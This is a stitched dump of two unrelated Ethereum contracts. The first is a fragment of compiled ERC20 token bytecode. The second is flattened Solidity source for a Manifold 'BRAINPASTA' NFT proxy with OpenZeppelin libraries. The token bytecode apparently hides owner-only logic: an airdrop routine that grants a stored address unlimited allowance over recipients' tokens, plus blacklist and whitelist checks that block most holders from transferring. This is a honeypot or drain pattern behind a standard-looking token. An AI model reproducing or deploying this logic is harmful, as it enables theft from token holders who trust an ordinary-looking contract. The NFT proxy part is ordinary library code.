0819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600654905090565b6000610ddf848484611d37565b610ea084610deb611b38565b610e9b856040518060600160405280602881526020016135c460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e51611b38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c9092919063ffffffff16565b611b40565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610f9a81600654611ab090919063ffffffff16565b6006819055506110148160016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b82518110156112e257600060039050600061021490506111ef8584815181106111ce57fe5b60200260200101518585815181106111e257fe5b6020026020010151611624565b50858310156112d35760016002600087868151811061120a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060039050600061021490506112d087868151811061127f57fe5b6020026020010151600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611b40565b50505b505080806001019150506111a9565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611339611b38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611539576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600090565b606060088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561161a5780601f106115ef5761010080835404028352916020019161161a565b820191906000526020600020905b8154815290600101906020018083116115fd57829003601f168201915b5050505050905090565b6000611638611631611b38565b8484611d37565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156118a1576001600260008484815181106117d057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003600084848151811061183b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506117b5565b5050565b6118ad611b38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461196d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806135566026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611b2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806136116024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061357c6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611e065750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156121115781600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611ed2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135ec6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135126023913960400191505060405180910390fd5b611f6386868661350c565b611fcf8460405180606001604052806026815260200161359e60269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061206484600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3613444565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806121ba5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806122125750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561257157600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561229f57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156122ac57806004819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135ec6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135126023913960400191505060405180910390fd5b6123c386868661350c565b61242f8460405180606001604052806026815260200161359e60269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c484600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3613443565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561288f57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612650576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135ec6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156126d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135126023913960400191505060405180910390fd5b6126e186868661350c565b61274d8460405180606001604052806026815260200161359e60269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e284600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3613442565b60011515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415612cab57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129915750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6129e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061359e6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612a6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135ec6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612af2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135126023913960400191505060405180910390fd5b612afd86868661350c565b612b698460405180606001604052806026815260200161359e60269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bfe84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3613441565b60045481101561308157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612dbc576001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612e42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135ec6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612ec8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135126023913960400191505060405180910390fd5b612ed386868661350c565b612f3f8460405180606001604052806026815260200161359e60269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fd484600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3613440565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061312a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b61317f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061359e6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135ec6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561328b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135126023913960400191505060405180910390fd5b61329686868661350c565b6133028460405180606001604052806026815260200161359e60269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061339784600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b60008383111582906134f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134be5780820151818401526020810190506134a3565b50505050905090810190601f1680156134eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063616e6e6f74207065726d6974207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220299ec243432b2e154b99fcf753eaafab593fdf028282fec47e5e9e02b3d5e4d264736f6c634300060c0033
[ 20 ]
0xf1b435866bfe4df2e0b8cb4a2c2f78a59383b866
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: BRAINPASTA /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // Cartoonist, Free figuration, outsider art. // // I grew up drawing cartoons, I sold my arts on the streets, and I've always doodled on my notes, art is my escape and it always has been. // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract BP is ERC721Creator { constructor() ERC721Creator("BRAINPASTA", "BP") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
